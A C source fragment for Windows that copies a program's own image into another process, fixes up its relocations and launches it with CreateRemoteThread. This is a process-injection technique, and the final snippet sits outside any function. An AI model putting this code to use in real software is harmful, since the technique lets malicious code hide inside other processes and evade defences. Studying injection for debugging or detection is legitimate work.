// Get VA
#define RVATOVA( base, offset )(((DWORD)(base) + (DWORD)(offset))) 

// Move program's memory
void __CopyMemoryAcrossProcesses( HANDLE hProcess, char* pMemLocal, char* pMemRemote )
{
	DWORD dwOldProt, dwNumBytes, i;
	MEMORY_BASIC_INFORMATION mbi;
	 
	VirtualQueryEx(hProcess, pMemRemote, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
	while (mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0)
	{
		if (!(mbi.Protect & PAGE_GUARD))
		{
			for (i = 0; i < mbi.RegionSize; i += 0x1000)
			{
				VirtualProtectEx(hProcess, pMemRemote + i, 0x1000,PAGE_EXECUTE_READWRITE, &dwOldProt);
				WriteProcessMemory(hProcess, pMemRemote + i, pMemLocal + i, 0x1000, &dwNumBytes);
			}
		}
		pMemLocal += mbi.RegionSize;
		pMemRemote += mbi.RegionSize;
		VirtualQueryEx(hProcess, pMemRemote, &mbi, sizeof(MEMORY_BASIC_INFORMATION));	
	}
}

bool TransferProgram(HANDLE hProcess)
{
	HMODULE g_module = GetModuleHandle(0);
	VirtualFreeEx(hProcess, g_module, 0, MEM_RELEASE);
	
	DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(g_module) + ((PIMAGE_DOS_HEADER)(g_module))->e_lfanew + 
		sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;

	char *pMem = (char *)VirtualAllocEx(hProcess, g_module, dwSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(pMem == NULL) return FALSE;

	__CopyMemoryAcrossProcesses( hProcess, (char*) g_module, pMem );

	return true;
}

DWORD TransferProgramEx(HANDLE hProcess)
/*
 Return value: image base delta, -1 on error
*/
{
	HMODULE hmodule = GetModuleHandle(0);
	DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(hmodule) + ((PIMAGE_DOS_HEADER)(hmodule))->e_lfanew + 
		sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;

	MEMORY_BASIC_INFORMATION mbi = {0};
	VirtualQueryEx( hProcess, hmodule, &mbi, sizeof(mbi) );

	LPVOID Allocated;

	// Memory isn't free, relocate
	if( mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0 )
	{
__try_relocate:
		LPVOID DesiredAddress = hmodule;
		*(DWORD*)&DesiredAddress += mbi.RegionSize;

		for(;;)
		{
			Allocated = VirtualAllocEx( hProcess, DesiredAddress, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
			if( Allocated )
				break;
			*(DWORD*)&DesiredAddress += dwSize;
		}
	}
	else
	{
		Allocated = VirtualAllocEx( hProcess, hmodule, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
		if( !Allocated )
			goto __try_relocate;
	}

	// move memory
	__CopyMemoryAcrossProcesses( hProcess, (char*) hmodule, (char*) Allocated );

	DWORD ImageBaseDelta = (DWORD)Allocated - (DWORD)hmodule;

	// Nonzero imagebase delta
	if( ImageBaseDelta )
	{
		// Apply fixups
		typedef struct 
		{
			WORD	Offset:12;
			WORD	Type:4;
		} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

		PIMAGE_OPTIONAL_HEADER poh = 
			(PIMAGE_OPTIONAL_HEADER)(
				(DWORD)hmodule
				+ ((PIMAGE_DOS_HEADER)hmodule)->e_lfanew
				+ sizeof(IMAGE_NT_SIGNATURE)
				+ sizeof(IMAGE_FILE_HEADER)
			);

		// No fixups?
		if( !poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress )
		{
			VirtualFreeEx( hProcess, Allocated, dwSize, MEM_DECOMMIT );
			VirtualFreeEx( hProcess, Allocated, dwSize, MEM_RELEASE  );
			return -1;
		}

		PIMAGE_BASE_RELOCATION Reloc = (PIMAGE_BASE_RELOCATION) RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress, hmodule);
		int i = 0;

		// Process fixups
		for( PIMAGE_FIXUP_ENTRY Fixup = (PIMAGE_FIXUP_ENTRY)( (DWORD)Reloc + sizeof(IMAGE_BASE_RELOCATION) );
		     (DWORD)Fixup < (DWORD)Reloc + Reloc->SizeOfBlock -2;
			 Fixup ++, i ++
				 )
		{
			if( Fixup->Type == IMAGE_REL_BASED_HIGHLOW )
			{
				DWORD* Patch = (DWORD*)RVATOVA( Reloc->VirtualAddress + Fixup->Offset, Allocated );
				
				DWORD t, r;
				BOOL b = 1;

				// correct fixup
				b &= ReadProcessMemory( hProcess, Patch, &t, 4, &r );
				t += ImageBaseDelta;
				b &= WriteProcessMemory( hProcess, Patch, &t, 4, &r );

				if( !b ) 
				{
					// smth wrong
					VirtualFreeEx( hProcess, Allocated, dwSize, MEM_DECOMMIT );
					VirtualFreeEx( hProcess, Allocated, dwSize, MEM_RELEASE  );
					return -1;
				}
			}
			else 
			{
				// unsupported fixup type
				VirtualFreeEx( hProcess, Allocated, dwSize, MEM_DECOMMIT );
				VirtualFreeEx( hProcess, Allocated, dwSize, MEM_RELEASE  );
				return -1;
			}
		}
	}

	return ImageBaseDelta;
}

	DWORD ImageBaseDelta = TransferProgramEx( hProcess );

	switch(ImageBaseDelta)
	{
	case -1:
		return printf("Cannot copy body\n"), 0;

	case 0:
		printf("Program copied at the same addresses\n");
		break;

	default:
		printf("Program relocated (delta = 0x%08x)\n", ImageBaseDelta);
		break;
	}

	DWORD thID;
	HANDLE hTh;

	hTh = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)((char*)RemoteThread+ImageBaseDelta), 0, 0, &thID);
	WaitForSingleObject( hTh, INFINITE );